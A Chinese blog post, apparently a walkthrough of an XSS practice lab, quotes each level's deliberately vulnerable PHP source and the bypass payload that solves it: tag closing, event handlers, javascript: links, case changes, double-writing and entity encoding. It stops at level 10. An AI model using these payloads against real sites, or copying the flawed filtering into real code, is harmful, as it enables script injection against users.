xss level2闯关

最新推荐文章于 2024-10-05 11:45:58 发布

shinyorb

最新推荐文章于 2024-10-05 11:45:58 发布

阅读量79

点赞数

文章标签： xss

本文链接：https://blog.csdn.net/laykr/article/details/133953040

版权

level2

还是一样,先xss祖宗之法来上

祖宗之法没成功,但可以看到代码是完全输出了的

那我们看源码:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

哦原来是被函数给变成html实体了,那么可以采用闭合前面的标签方式逃脱函数影响范围:

"><script>alert(1)</script>

成功通过

level3

还是那句话,祖宗之法不可违

跟level2一样,查看源码

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />

果然也是被htmlspecialchars给转成html实体了,而且是转两次,这时候就不好用"<"和">"了,因为他们会被过滤成实体,就可以考虑事件代码,最简单的就是选择没有<>两个符号的代码

'οnclick='alert()

level4

发现"<"">"都被过滤了

看源代码:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">

发现我们输入的keyword会先被替换"<"和">",那么跟level3一样,我们选择不用<>的事件型注入

此时代码就被我们改成这样了,成功弹窗

level5

发现<script>变成了<scr_ipt>,想不明白,看看源代码

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //把大写换成小写
$str2=str_replace("<script","<scr_ipt",$str); //替换
$str3=str_replace("on","o_n",$str2); //替换,事件型onclick就用不了了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> //htmlspecialchars把<>符号过滤成实体使其无法被html执行
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">

通过分析代码,我们之前的方法都没有效果,我这里选择伪协议注入(我笑那level5无智,不会过滤<>)

<a href=javascript:alert(1)>123</a>初步是这个想法,但可以看到在echo中,过滤了符号类型,所以要先闭合echo里的标签,采用"><a href=javascript:alert(1)>123</a>闭合

成功弹窗

level6

有点类似level5,初步怀疑又是替换,看源代码:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

发现果然又是替换,不过虽然过滤的更多了,但比level5少了个转换为小写,那么尝试直接祖宗之法大写加闭合,

成功弹窗

level7

可以看到<script>都被过滤了,看看源代码是怎么过滤的:

ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); //强制小写
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

我看到了直接替换成空这种好事,直接上双写

成功弹窗

level8

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

可以看到,输入框现在是input,那就不能在输入框进行xss了,只能想办法突破过滤在超链接那里注入xss很像之前的伪协议.

但script会被过滤,但我们可以采用编码方式绕过

R是R的编码绕过,不止可以换R,script里都可以换

成功弹窗

level9

看前端代码,输入框还是input,同时我输入正确的连接,也被显示非法,那接下来看看源代码:

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

原来是加了查看有没有http,

javascRipt:alert(1)//http://

成功弹窗

level10

实在无从下手,让我们看看源码:

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22); //尖括号被过滤了,考虑用事件型
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search> //老样子闭合
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

可以看到用的都是get